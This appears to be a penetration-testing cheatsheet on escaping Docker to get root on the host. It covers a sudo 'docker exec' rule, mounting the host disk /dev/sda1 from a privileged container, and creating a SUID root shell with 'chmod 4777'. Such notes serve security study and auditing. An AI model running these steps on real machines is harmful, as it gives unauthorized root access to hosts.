Docker
SUDO Abuse
Having sudo permissions on the docker binary allows for a wide range of attacks, including immediate on-host privileged code execution or manipulation of containers. Such permissions commonly allow for root access to running containers (or creating new ones) before pivoting to other attack vectors to compromise the host.
One such example is sudo permissions over:
(root) NOPASSWD: /usr/bin/docker exec *This allows for root execution of any container with:
/usr/bin/docker exec -it container_name bashFilesystem Mounts
A common way of privilege escalation out of a container and into the main host is through filesystem mounts. As root in a container, you may be able to mount filesystem devices inside the container's operating system. Your uid=0 privileges will carry over to the host filesystem, allowing you to edit /etc/passwd and /etc/shadow to quickly compromise the host machine.
Check mount or df -h for mounted devices:
udev 978M 0 978M 0% /dev
tmpfs 199M 9.9M 189M 5% /run
/dev/sda1 4.8G 1.9G 2.9G 39% /
tmpfs 992M 0 992M 0% /dev/shm
tmpfs 5.0M 0 5.0M 0% /run/lock
tmpfs 992M 0 992M 0% /sys/fs/cgroup
/dev/loop0 117M 117M 0 100% /snap/docker/1125
/dev/loop1 56M 56M 0 100% /snap/core18/2253
/dev/loop2 43M 43M 0 100% /snap/snapd/14066
/dev/loop3 25M 25M 0 100% /snap/amazon-ssm-agent/4046
tmpfs 199M 8.0K 199M 1% /run/user/1001Note that the block device /dev/sda1 is mounted as the root / on the host filesystem. If you're in a privileged container, you can simply mount the device within the container's filesystem to compromise the host:
mount /dev/sda1 /mnt/win/SUID Carry-over
As a result of existing or created filesystem mounts, you are able to create files owned by root in the parent host. You can abuse this capability to create a SUID shell binary from a rooted container, and escalate privileges in the parent host:
cp /bin/sh .
chown root:root sh
chmod 4777 sh
# Within host
./shLast updated